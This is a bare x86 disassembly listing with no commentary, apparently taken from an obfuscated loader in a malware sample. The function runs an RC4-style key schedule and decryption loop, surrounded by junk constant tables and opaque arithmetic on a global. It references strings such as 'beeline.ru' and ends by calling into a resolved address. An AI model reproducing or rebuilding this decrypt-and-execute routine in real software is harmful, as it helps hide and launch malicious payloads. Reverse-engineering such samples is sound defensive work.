call fcn.1001f17f
mov edx, dword [ebp - 0x34]
inc edx
mov dword [ebp - 0x34], edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.._AW4RandomNumberType_Integer_CryptoPP__]
cmp cx, word [ebp + eax - 0x1fc]
je 0x10022ca4
movzx eax, byte [ebp + edx*2 - 0x1fc]
movzx ecx, byte [edx*2 + str.._AW4RandomNumberType_Integer_CryptoPP__]
sub ecx, eax
cmp ecx, 0x168f
jae 0x10022d01
mov eax, dword [ebp - 0x1c]
xor eax, 0xbd592c61
jmp 0x10022d17
mov eax, str.6G6O6T6Y6c6q6z6
mov edx, eax
mov ecx, eax
call fcn.1001e4ea
mov eax, dword [ebp - 0x1c]
add eax, 0xffda849
mov ecx, dword [ebp - 0x30]
cmp ecx, 1
je 0x10022d25
inc ecx
cmp ecx, 0xc
jl 0x10022d1a
mov ecx, dword [ebp + ecx*4 - 0x334]
xor ecx, 0xe8
mov dword [ebp - 0x1b4], 0x469
push 4
pop edx
mov dword [ebp - 0xc0], ecx
mov ecx, ebx
mov dword [ebp - 0x1b0], edx
mov dword [ebp - 0x1ac], 0xcb6
mov dword [ebp - 0x1a8], 0x19b2
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x1a0], edx
mov dword [ebp - 0x19c], 0x34e
mov dword [ebp - 0x198], 0x1ea8
mov dword [ebp - 0x194], edx
mov dword [ebp - 0x190], 0xf44
mov dword [ebp - 0x18c], 0xdb4
imul eax, eax, 0x197e9fb
cmp ecx, edx
je 0x10022dab
inc ecx
cmp ecx, 0xb
jl 0x10022da1
mov ecx, dword [ebp + ecx*4 - 0x1b4]
mov edx, 0xb5
push 9
mov dword [ebp - 0xe0], ecx
mov ecx, ebx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x180], 0x1922
mov dword [ebp - 0x17c], 0x2c8
mov dword [ebp - 0x178], 0x2171
mov dword [ebp - 0x174], 0xde9
mov dword [ebp - 0x170], 0x9f8
mov dword [ebp - 0x16c], 0x2562
mov dword [ebp - 0x168], 0x5d9
mov dword [ebp - 0x164], 0x1f8c
mov dword [ebp - 0x160], 0x1bbd
mov dword [ebp - 0x154], 0xb18
pop edx
cmp ecx, edx
je 0x10022e3c
inc ecx
cmp ecx, 0xc
jl 0x10022e32
mov ecx, dword [ebp + ecx*4 - 0x180]
lea edi, [ebp - 0x2c]
mov esi, str.darkgreen
xor ecx, 0xb5
and eax, 0x708901c3
mov dword [ebp - 0x124], ecx
mov dword [ebp - 8], eax
mov dword [0x100402c0], eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x49c], al
inc eax
cmp eax, 0x100
jb 0x10022e6c
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov eax, esi
mov cl, byte [ebp + esi - 0x49c]
xor edx, edx
mov byte [ebp - 1], cl
div dword [ebp - 0x1c4]
movzx ecx, cl
push 5
movzx eax, byte [ebp + edx - 0x2c]
add eax, edi
lea edi, [ebp - 0xd8]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x30], eax
pop ecx
mov al, byte [ebp + eax - 0x49c]
mov byte [ebp + esi - 0x49c], al
mov esi, str._IsHiddenRoot_item_
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.4y44V5d5]
mov eax, ebx
mov dword [ebp - 0x1c], eax
cmp cl, byte [ebp - 0xd8]
jne 0x10022f14
mov ebx, dword [ebp - 8]
test cl, cl
je 0x10022f12
cmp byte [ebp + eax - 0xd8], 0
je 0x10022f12
push ebx
push str.6G6O6T6Y6c6q6z6
mov edx, str.beeline.ru
mov ecx, ebx
call fcn.1001dd22
mov eax, dword [ebp - 0x1c]
inc eax
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
mov cl, byte [eax + str.4y44V5d5]
cmp cl, byte [ebp + eax - 0xd8]
je 0x10022eda
xor ebx, ebx
call fcn.1001edfc
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x104]
cmp edi, esi
jae 0x10022f73
push ecx
push ecx
mov ecx, str._ttyyyoo4441uuuo
call fcn.1001ef1a
mov ebx, dword [0x100402c0]
pop ecx
pop ecx
cmp edi, 0x15a4
jne 0x10022f57
push ecx
sub ebx, 0x501984f6
push ecx
mov dword [0x100402c0], ebx
call fcn.1001fcf9
pop ecx
pop ecx
add ebx, 0x46a63cbb
inc edi
mov dword [ebp - 8], ebx
mov dword [0x100402c0], ebx
cmp edi, esi
jb 0x10022f26
mov dword [ebp - 0x104], edi
xor ebx, ebx
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
inc esi
mov al, byte [ebp - 1]
mov dword [ebp - 0x34], esi
mov byte [ebp + edi - 0x49c], al
cmp esi, 0x100
jb 0x10022e80
mov dword [ebp - 0x30], ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 4
mov cl, byte [ebp + edi - 0x49c]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x49c]
mov byte [ebp + edi - 0x49c], al
mov byte [ebp + ebx - 0x49c], cl
movzx eax, byte [ebp + edi - 0x49c]
add eax, edx
movzx eax, al
pop edx
mov al, byte [ebp + eax - 0x49c]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x110], al
inc esi
cmp esi, edx
jb 0x10022f9a
mov eax, dword [ebp - 8]
xor ebx, ebx
push 9
mov byte [ebp - 0x10c], bl
sub eax, 0x7a220d17
mov ecx, ebx
mov dword [ebp - 0x2d8], edx
mov dword [ebp - 0x2d4], 0x1d13
mov dword [ebp - 0x2d0], edx
mov dword [ebp - 0x2cc], 0x1fad
mov dword [ebp - 0x2c8], edx
mov dword [ebp - 0x2c4], 0x1c3f
mov dword [ebp - 0x2c0], 0xa05
mov dword [ebp - 0x2bc], 0xb0d
mov dword [ebp - 0x2b8], 0x7f7
pop esi
cmp ecx, edx
je 0x10023058
inc ecx
cmp ecx, esi
jl 0x1002304f
mov ecx, dword [ebp + ecx*4 - 0x2d8]
imul eax, eax, 0x3c0617bb
mov dword [ebp - 0x120], ecx
mov ecx, 0x45f48574
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], 0x4c4
mov dword [ebp - 0x8c], 0x134b
sub ecx, eax
mov dword [ebp - 0x88], 0x13df
mov eax, ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], 0x1a75
mov dword [ebp - 0x7c], 0x8a9
mov dword [ebp - 0x78], 0x81b
mov dword [ebp - 0x74], 0x2676
cmp eax, edx
je 0x100230c3
inc eax
cmp eax, esi
jl 0x100230ba
mov eax, dword [ebp + eax*4 - 0x94]
add ecx, 0x42a1c4b8
mov dword [ebp - 0x11c], eax
mov eax, ebx
mov dword [ebp - 0x64], 0x1e53
mov dword [ebp - 0x60], 0x149f
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], 0x165a
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [0x100402c0], ecx
cmp eax, 2
je 0x10023107
inc eax
cmp eax, 6
jl 0x100230fc
mov eax, dword [ebp + eax*4 - 0x64]
push dword [ebp - 0x100]
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x48]
push esi
push eax
call fcn.1000eb95
mov eax, dword [0x100402c0]
add esp, 0xc
add esi, dword [ebp - 0xfc]
add eax, 0x70c3410c
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x30], eax
mov dword [0x100402c0], eax
call fcn.1001faa1
mov cl, byte [str.4y44V5d5]
lea edi, [ebp - 0x44]
mov esi, str.BIN_LANGZIP
mov eax, ebx
mov dword [ebp - 8], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp cl, byte [ebp - 0x44]
jne 0x10023195
mov esi, dword [ebp - 0x110]
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x4c]
lea edx, [ebp - 0x4cc]
call fcn.1001834c
call eax
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret